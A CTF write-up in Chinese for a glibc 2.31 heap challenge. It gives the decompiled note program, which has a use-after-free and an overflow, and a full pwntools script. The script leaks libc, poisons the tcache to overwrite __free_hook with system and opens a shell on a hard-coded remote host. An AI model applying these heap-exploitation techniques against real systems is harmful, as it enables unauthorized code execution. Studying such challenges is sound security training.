pwn

pwn1

glibc 2.31 有pie,choice 10能分一个很大的堆块,所以思路是把tcache填满,然后free掉一个大堆块,通过unsortedbin去泄露libc的地址,然后通过tcache bin attack去写free hook为system,再去free掉一块内容为binsh的堆 触发system(/bin/sh)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-1BCh] BYREF
  int v5; // [rsp+8h] [rbp-1B8h] BYREF
  int v6; // [rsp+Ch] [rbp-1B4h]
  char *v7; // [rsp+10h] [rbp-1B0h]
  char *s; // [rsp+18h] [rbp-1A8h]
  void *ptr[52]; // [rsp+20h] [rbp-1A0h]

  ptr[51] = (void *)__readfsqword(0x28u);
  init(argc, argv, envp);
  v6 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            __isoc99_scanf("%d", &v4);
            getchar();
            if ( v4 != 1 )
              break;
            s = (char *)malloc(0x28uLL);
            puts("Enter the note");
            fgets(s, 10, stdin);
            puts("Note created");
            ptr[v6++] = s;
          }
          if ( v4 != 2 )
            break;
          puts("Which note do you want to delete?");
          __isoc99_scanf("%d", &v5);
          getchar();
          if ( v6 < v5 )
            goto LABEL_15;
          free(ptr[v5 - 1]);
        }
        if ( v4 != 3 )
          break;
        puts("Which note do you want to edit?");
        __isoc99_scanf("%d", &v5);
        getchar();
        if ( v6 < v5 )
        {
LABEL_15:
          puts("Invalid choice");
        }
        else
        {
          fgets((char *)ptr[v5 - 1], 100, stdin);
          puts("Note edited");
        }
      }
      if ( v4 != 4 )
        break;
      puts("Which note do you want to read?");
      __isoc99_scanf("%d", &v5);
      getchar();
      if ( v6 < v5 )
        goto LABEL_15;
      puts((const char *)ptr[v5 - 1]);
    }
    if ( v4 == 5 )
      return 0;
    if ( v4 == 10 )
    {
      v7 = (char *)malloc(0x4B0uLL);
      puts("Enter the note");
      fgets(v7, 10, stdin);
      puts("Note created");
      ptr[v6++] = v7;
    }
  }
}

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "20.55.48.101"
PORT = 1339

elf = context.binary = ELF('./chall')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_note(idx):
    ru("5. Exit\n")
    sl("1")
    sla("Enter the note",str(idx))

def delete_note(idx):
    ru("5. Exit\n")
    sl(b"2")
    sla("Which note do you want to delete?",str(idx + 1))

def edit_note(idx,data):
    ru("5. Exit\n")
    sl(b"3")
    sla("Which note do you want to edit?",str(idx + 1))
    sl(data)

def read_note(idx):
    ru("5. Exit\n")
    sl(b"4")
    sla("Which note do you want to read?",str(idx + 1))

def create_big_note(idx):
    ru("5. Exit\n")
    sl(b"10")
    sla("Enter the note",str(idx))

p = connect()

for i in range(7):
    create_note(i)

create_big_note(7)
create_note(8)

for i in range(7):
    delete_note(i)

delete_note(7)
# g(p)

read_note(7)
libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")
# g(p)

for i in range(7):
    create_note(i)
create_big_note(7)


delete_note(0)
delete_note(1)

edit_note(1,p64(free_hook))
create_note(1)
create_note(2)
edit_note(18,p64(system))

create_note(2)
edit_note(2,b'/bin/sh')
delete_note(2)

p.interactive()
2024-02-11
Contents
  1. pwn
    1. pwn1

⬆︎TOP